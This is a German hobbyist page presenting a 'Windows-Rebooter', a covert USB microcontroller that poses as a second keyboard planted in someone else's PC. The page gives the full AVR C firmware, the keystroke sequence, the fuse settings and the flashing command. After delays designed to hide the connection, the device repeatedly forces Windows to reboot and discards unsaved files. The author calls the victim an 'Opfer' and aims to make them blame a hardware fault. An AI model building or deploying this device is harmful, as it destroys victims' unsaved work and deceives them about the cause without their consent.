Windows-Rebooter
Unter den auf http://www.obdev.at/products/vusb/projects-de.html
vorgestellten Keyboard-Emulatoren gibt es neben ernsthaften Anwendungen
auch einige Spaß-Schaltungen, die man arglosen Zeitgenossen
"unterjubeln" kann.
Steckt man die präparierten USB-Sticks
unbemerkt in fremde PCs, treiben sie als heimliche Zweit-Keyboards ihr
Unwesen, indem sie unregelmäßig Tastendrücke
einfügen und so den arglosen PC-Nutzer an seinem Verstand zweifeln
lassen.
"Capslocker" drückt ab und zu die CapsLock-Taste
und schaltet so dauerhaft auf Großschreibung um. "Cenillard"
erzeugt ein wildes Geflacker der LED-Tastaturleuchten, und das (sogar
kommerziell gefertigte) "Haunted USB Cable" betätigt neben der
CapsLock-Taste noch einige weitere Tasten, die in die Keyboard-Eingaben
der regulären Tastatur eingestreut werden. Die gesamte Schaltung
ist in SMD ausgeführt und unsichtbar in den Stecker eines
USB-Verbindungskabels eingegossen; daher der Name.
Als
Programmierübung habe ich versucht, das Prinzip auf die Spitze zu
treiben und die Software so zu modifizieren, dass sie einen Windows-PC
willkürlich herunterfährt bzw. rebootet.
Da ich
niemanden kenne, den ich so derbe veralbern möchte,
veröffentliche ich die Lösung stattdessen, damit die Arbeit
nicht völlig vergeblich war.
Tastendrücke
Um
Windows XP über Tastaturkommandos zu beenden, gibt es mindestens
zwei Wege: wurde in der Windows-Benutzerverwaltung für den
aktuellen Benutzer der "Willkommensbildschirm" aktiviert, muss man die
linke Windows-Taste (oder alternativ Strg -Escape) drücken. Ist
das Menü aufgeklappt, gelangt man mit "a" in den Beenden-Dialog
und kann zwischen Herunterfahren (Taste "n") und Reboot (Taste "a")
wählen.
Ist die "klassische Benutzeranmeldung" aktiviert,
muss man nach Aufklappen des Menüs ein "r" drücken, um in den
Beenden-Dialog zu gelangen. Dort präsentiert sich ein
Pulldown-Menü, in dem man durch Drücken der Taste "n" den
Neustart aktiviert. Schließlich muss man die Auswahl noch mit der
ReturnTaste bestätigen.
Eine weitere Hürde tut sich
auf, wenn gerade Dateien bearbeitet wurden, dann werden die
zugehörigen Anwendungen vor dem Herunterfahren nicht automatisch
beendet, sondern es ploppt jeweils ein Dateidialog auf, der fragt, ob
und unter welchem Namen die Datei gespeichert werden soll. Mit jeweils
einem "n" für "nicht speichern" lassen sie sich auf
brutalstmögliche Weise beenden.
Die komplette Tastenfolge für einen Reboot lautet also:
<Strg-Escape>annnnnn bzw.
<Strg-Escape>rn<Return>nnnnn
Um beide Varianten abzudecken, lautet sie zweckmäßigerweise:
<Strg-Escape>annnnnnrn<Return>nnnnn
Einige
Fenster lassen sich allerdings nicht automatisch oder per "n"
schließen, z.B. Excel (die "nnnnn" werden in die Tabelle
geschrieben).
Ob die Tastenkombinationen auch unter Windows 7
oder Vista funktionieren, weiß ich nicht -es wäre nicht ganz
unwahrscheinlich, dass Microsoft sich neue Tastaturkommandos ausgedacht
hat.
Software
Beim Herumspielen mit den oben
genannten Lösungen stellte sich schnell heraus, dass (zumindest
auf meinem Windows XP) die auf der AtTiny-PLL-Frequenzerzeugung
basierenden Lösungen einen Reboot bzw. einen Kaltstart des
Rechners nicht "überlebten" (unter Linux trat das Problem
übrigens nicht auf). Der Windows-Rebooter würde also nur
genau einmal funktionieren.
Eine partielle Abhilfe besteht
darin, den 1,5 kOhm-Pullup-Widerstand, der dem USB ein
low-speed-Gerät signalisiert, nicht ständig an Plus zu legen,
sondern über einen Ausgang des Mikrocontrollers erst nach einiger
Zeit auf high zu ziehen, nachdem also Windows hochgefahren ist. Das
funktioniert aber nur nach einem Kaltstart zuverlässig (weil der
Mikrocontroller dadurch stromlos war und neu startet).
Die
Kalibrierung des Mikrocontrollers erfolgt durch die Funktionen in
osccal.h auch nur einmal nach dem Start des Mikrocontrollers; bei
Rechnern, die nur selten heruntergefahren werden, könnte der
RC-Oszillator daher so weit wegdriften, dass die USB-Kommunikation
zusammenbricht.
Die obdev.at-Lösungen mit einem Quarz
werden jedoch in jedem Fall unter Windows erkannt; daher habe ich das
Herumgefummel an usbconfig.h und den osccal-Funktionen aufgegeben und
18 Cent für einen 12 MHz-Quarz investiert.
Ausgangspunkt war die Software für den "CapsLocker".
Die
geänderte Version durchläuft zunächst 30 min. Wartezeit,
in der sich der Rebooter passiv verhält. Dann legt die Software
PB1 auf high und signalisiert dem PC ein low-speed-Gerät. Danach
wird die Variable TimerDelay auf 32000 + rand() gesetzt (was in der
Hauptschleife zu einer weiteren Wartezeit zwischen 2 * 12 und 2 * 25
Minuten führt).
Anschließend geht das Programm in die Hauptschleife:
-watchdog resetten
-USB pollen
-falls der USB bereit ist, einen neuen Report senden
-Funktion TimerPoll aufrufen
Der
Timer ist auf einen Überlauf nach 1/45 sec. programmiert. In der
Funkion TimerPoll werden in einer Doppelschleife die Variablen i und
TimerCnt so lange inkrementiert, bis i = 2 und TimerCnt
größer als der Wert TimerDelay ist. Dann werden die
Tastaturkommandos "abgefeuert".
Hardware
Verwendet
wird die 3V-Standardschaltung, die aus den 5V des USB mit zwei in
Durchlassrichtung in Reihe geschalteten Dioden ca. 3,5V gewinnt. Der
Widerstand R3, der dem USB ein Low-Speed-Gerät signalisiert, liegt
nicht ständig an Plus, sondern wird über PB1 des AtTiny45 auf
High gezogen. An PB3 und PB4 liegt ein 12 MHz-Quarz. Die
Bürdekapazitäten sind weggelassen; der Quarz schwingt
trotzdem an. Die USB- Pinbelegung entspricht einem USB-A- Stecker
für Platinenmontage.
Update 17.9.12: in den AtTiny45- Schaltbildern waren die beiden USB- Datenleitungen
vertauscht
Flashen
Für
den, der die C-Software nicht selbst kompilieren kann (das Makefile ist
für Linux und müsste für Windows etwas angepasst
werden), sind im gepackten Quellcode-Paket zwei HEX-Files enthalten,
die direkt in den Mikrocontroller gebrannt werden können. Die
"Test"-Variante arbeitet mit kürzeren Timern (ein bis zwei
Minuten).
Unter http://www.elektroniklabor.de/AVR/AVRdude.html
ist beschrieben, wie man die Hardware des LP Mikrocontroller zum
Flashen und Umfusen von Attiny 45 verwenden kann. Wurde der Attiny
bereits auf Quarzbetrieb umgefust, kann man die Platine trotzdem
benutzen, wenn man einen Quarz so in die Experimentierfassung
einsteckt, dass er mit PB3 und PB4 verbunden ist.
Die erforderliche Fusebytes:
lfuse=0xef aktiviert den Quarzoszillator
hfuse=0xdd aktiviert den Brownout-Detektor mit einer Schwelle von 2,7V
Der komplette Aufruf lautet z.B: avrdude.exe -p t45 -c burkhard -P com1 -U lfuse:w:0xe1:m hfuse:w:0xdd:m
Anwendung
Die
Schaltung verhält sich etwas 30 min. lang passiv (damit man nach
Platzierung des Rebooters erst mal "das Weite suchen kann"). War noch
keine HID-Tastatur in dem USB-Port des Rechners eingesteckt, ploppt
danach der Treiberdialog auf (der Treiber ist zwar Teil der
Windows-StandardInstallation, ist aber noch nicht an den benutzten
USB-Port gebunden). Das Opfer klickt dann hoffentlich auf "automatisch
installieren" -die meisten Windows-Nutzer sind ja konditioniert,
kryptische Windows-Dialoge mit "ja" oder "weiter" wegzuklicken.
Danach
läuft eine weitere Zufallszeit von 24-50 min. ab (um den
Zusammenhang zu verschleiern), bis die Schaltung "zuschlägt".
Anschließend rebootet der Rechner im Abstand von 24-50 Minuten (nach einem Kaltstart kommen einmalig 30 min. dazu).
Die
Chance ist also hoch, dass das Opfer auf einen Hardware-Defekt
schließt oder Bill Gates mal wieder ergeben den Kopf für die
vermeintliche Macke des Betriebssystems hinhalten muss ....
Download: Windows-Rebooter-Software.zip
/* Name: main.c
* Windows Rebooter
* Joke Device to reboot someones Windows PC unexpectedly
* device wais 30 minutes befor enumerating at the pc os
* Device waits another 24 minutes plus initial random time (between
* 0 and 50 minutes), then sends <ctrl-escape> to activate
* Windows Start Menu
* it then sends the sequence <a> <n> to call reboot sequence.
* As there may be some Programs open, it shuts down these
* programs without saving files. This is achieved by sending
* a few <n>, each of these end open file dialogs.
* As there are 2 different Windows Menu dialogues a second sequence
* follows. It sends <r>, <return >, and several <n>
* The Device waits a random time between 33 and 66 minutes
* and then reboots again
* Source Code was modified from "CapsLocker" Source
* "Capslocker" was modified from Original code:
* Thermostat based on AVR USB driver
* Author: Christian Starkjohann
* Creation Date: 2006-04-23
* Tabsize: 4
* Copyright: (c) 2006 by OBJECTIVE DEVELOPMENT Software GmbH
* License: Proprietary, free under certain conditions. See Documentation.
* This Revision: $Id: main.c 537 2008-02-28 21:13:01Z cs $
*/
#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/wdt.h>
#include <util/delay.h>
#include <avr/pgmspace.h>
#include <stdlib.h>
#include "usbdrv.h"
#include "oddebug.h"
#define allow_interrupts() sei()
#define false (1==0)
#define true (1==1)
typedef int8_t bool;
/****************************** Resolve AVR naming chaos ****************/
//----------------------------- Interrupt vectors -----------------------/
#ifndef USART0_RX_vect
#if defined USART_RX_vect
#define USART0_RX_vect USART_RX_vect
#elif defined USART_RXC_vect
#define USART0_RX_vect USART_RXC_vect
#elif defined USART0_RXC_vect
#define USART0_RX_vect USART0_RXC_vect
#endif
#endif
#if !defined USART0_UDRE_vect && defined USART_UDRE_vect
#define USART0_UDRE_vect USART_UDRE_vect
#endif
//----------------------------- Register names --------------------------/
#ifndef UCSR0A
#define UCSR0A UCSRA
#endif
#ifndef UCSR0B
#define UCSR0B UCSRB
#endif
#ifndef UCSR0C
#define UCSR0C UCSRC
#endif
#ifndef UDR0
#define UDR0 UDR
#endif
#ifndef UBRR0L
#define UBRR0L UBRRL
#endif
#ifndef UBRR0H
#define UBRR0H UBRRH
#endif
//----------------------------- Bit names -------------------------------/
#ifndef UCSZ00
#define UCSZ00 UCSZ0
#endif
#ifndef UCSZ01
#define UCSZ01 UCSZ1
#endif
#ifndef UCSZ02
#define UCSZ02 UCSZ2
#endif
#if !defined URSEL0 && defined URSEL
#define URSEL0 URSEL
#endif
#ifndef RXEN0
#define RXEN0 RXEN
#endif
#ifndef TXEN0
#define TXEN0 TXEN
#endif
#ifndef UDRIE0
#define UDRIE0 UDRIE
#endif
#ifndef RXCIE0
#define RXCIE0 RXCIE
#endif
#ifndef U2X0
#define U2X0 U2X
#endif
#ifndef MPCM0
#define MPCM0 MPCM
#endif
#ifndef UPM00
#define UPM00 UPM0
#endif
#ifndef USBS0
#define USBS0 USBS
#endif
#ifndef UMSEL00
#define UMSEL00 UMSEL
#endif
/* ------------------------------------------------------------------------- */
static uchar reportBuffer[2]; /* buffer for HID reports */
static uchar idleRate; /* in 4 ms units */
static unsigned int TimerDelay; /* counter for delay period */
static unsigned int timerCnt;
static uchar key = 0;
static uchar modifier = 0;
static unsigned int i = 0;
/* ------------------------------------------------------------------------- */
// ----------------------------------------------------------------- application
char PROGMEM usbHidReportDescriptor[USB_CFG_HID_REPORT_DESCRIPTOR_LENGTH] = { /* USB report descriptor */
0x05, 0x01, // USAGE_PAGE (Generic Desktop)
0x09, 0x06, // USAGE (Keyboard)
0xa1, 0x01, // COLLECTION (Application)
0x05, 0x07, // USAGE_PAGE (Keyboard)
0x19, 0xe0, // USAGE_MINIMUM (Keyboard LeftControl)
0x29, 0xe7, // USAGE_MAXIMUM (Keyboard Right GUI)
0x15, 0x00, // LOGICAL_MINIMUM (0)
0x25, 0x01, // LOGICAL_MAXIMUM (1)
0x75, 0x01, // REPORT_SIZE (1)
0x95, 0x08, // REPORT_COUNT (8)
0x81, 0x02, // INPUT (Data,Var,Abs)
0x95, 0x01, // REPORT_COUNT (1)
0x75, 0x08, // REPORT_SIZE (8)
0x25, 0x65, // LOGICAL_MAXIMUM (101)
0x19, 0x00, // USAGE_MINIMUM (Reserved (no event indicated))
0x29, 0x65, // USAGE_MAXIMUM (Keyboard Application)
0x81, 0x00, // INPUT (Data,Ary,Abs)
0xc0 // END_COLLECTION
};
/* We use a simplifed keyboard report descriptor which does not support the
* boot protocol. We don't allow setting status LEDs and we only allow one
* simultaneous key press (except modifiers). We can therefore use short
* 2 byte input reports.
* The report descriptor has been created with usb.org's "HID Descriptor Tool"
* which can be downloaded from http://www.usb.org/developers/hidpage/.
* Redundant entries (such as LOGICAL_MINIMUM and USAGE_PAGE) have been omitted
* for the second INPUT item.
*/
static void buildReport(void)
{
switch (timerCnt){
case 10:{
modifier = 1 ; /* ctrl */
key = 41 ; /*escape*/
break;
}
case 12:{
modifier = 0; /* no modifiers */
key = 4;
break;
}
case 14:{
modifier = 0; /* no modifiers */
key = 17; // 17: n / reboot 4: a / shutdown
break;
}
case 16:{
modifier = 0; /* no modifiers */
key = 17; /* close application 1 */
break;
}
case 18:{
modifier = 0;
key = 17;
break;
}
case 20:{
modifier = 0;
key = 17;
break;
}
case 22:{
modifier = 0;
key = 17;
break;
}
case 24:{
modifier = 0;
key = 17;
break;
}
case 26:{
modifier = 0;
key = 17;
break;
}
case 28:{
modifier = 0;
key = 17;
break;
}
case 30:{ /*close application 8 */
modifier = 0;
key = 17;
break;
}
case 32:{
modifier = 0;
key = 21; // 21:r
break;
}
case 34:{
modifier = 0;
key = 17; // 17:n
break;
}
case 36:{
modifier = 0;
key = 40; // 40:<Return>
break;
}
case 38:{ /* close application 1 */
modifier = 0;
key = 17;
break;
}
case 40:{
modifier = 0;
key = 17;
break;
}
case 42:{
modifier = 0;
key = 17;
break;
}
case 44:{
modifier = 0;
key = 17;
break;
}
case 46:{
modifier = 0;
key = 17;
break;
}
case 48:{
modifier = 0;
key = 17;
break;
}
case 50:{
modifier = 0;
key = 17;
break;
}
case 52:{ /*close application 8 */
modifier = 0;
key = 17;
break;
}
default:
modifier = 0; /* no modifiers */
key = 0;
}
reportBuffer[0] = modifier;
reportBuffer[1] = key;
}
static void timerPoll(void)
{
// static unsigned int timerCnt;
if(TIFR & (1 << TOV1)){
TIFR = (1<< TOV1); /* clear overflow */
i++;
if(i >= 2){ // this loop multiplies timerDelay with 2
i = 0 ;
timerCnt++;
if(timerCnt >= TimerDelay){
TimerDelay = 32000 + rand(); // 12 .... 25 minutes
// TimerDelay = 1100 + rand()/32; // testmode 60 sec + 0 ... 60 sec. */
timerCnt = 0;
}
}
}
}
static void timerInit(void)
{
TCCR1 = 0x0b; /* select clock: 12M/1k -> overflow rate = 12M/256k = 45.77 Hz */
} /* -> max. possible value for timerDelay is 65536 / 45.77 = 1431 secs = 23,8 minutes */
/* ------------------------------------------------------------------------- */
uint8_t usbFunctionSetup( uint8_t data[8])
{
usbRequest_t *request = (void *)data;
usbMsgPtr = reportBuffer;
if ( USBRQ_TYPE_CLASS == ( request->bmRequestType & USBRQ_TYPE_MASK)) // class request type
{
switch ( request->bRequest)
{
case USBRQ_HID_GET_REPORT: // wValue: ReportType (highbyte), ReportID (lowbyte)
// we only have one report type, so don't look at wValue
return sizeof( reportBuffer);
break;
case USBRQ_HID_GET_IDLE:
usbMsgPtr = &idleRate;
return 1;
case USBRQ_HID_SET_IDLE:
idleRate = request->wValue.bytes[1];
break;
default:
// no vendor specific requests implemented
break;
}
}
return 0;
}
/* ------------------------------------------------------------------------- */
/* --------------------------------- main ---------------------------------- */
/* ------------------------------------------------------------------------- */
int main(void)
{
wdt_disable();
PORTB = 0b00011010; /* output PORTB.1 = 1 */
for(i=0;i<7200;i++){ /* 30 minutes waiting */
// for(i=0;i<480;i++){ /* test mode: 2 min waiting */
_delay_ms(250);
}
DDRB= (1<<1); /* activate 1,5 kOhm to start enumerating */
timerInit();
usbInit();
usbDeviceDisconnect(); // enforce re-enumeration, do this while interrupts are disabled!
_delay_ms(250);
usbDeviceConnect();
wdt_enable( WDTO_1S);
allow_interrupts();
timerCnt = 200;
TimerDelay = 32000 + rand() ; // 12 ...25 minutes
// TimerDelay = 1100 + rand()/32; // test mode: 60 sec + 0...60 sec.
// loop forever
for(;;){ /* main event loop */
wdt_reset();
usbPoll();
/* A USB keypress cycle is defined as a scancode being present in a report, and
then absent from a later report. To press and release the Caps Lock key, instead of
holding it down, we need to send the report with the Caps Lock scancode and
then an empty report. */
if( usbInterruptIsReady() ){ /* we can send another key */
buildReport();
usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
}
timerPoll();
}
return 0;
}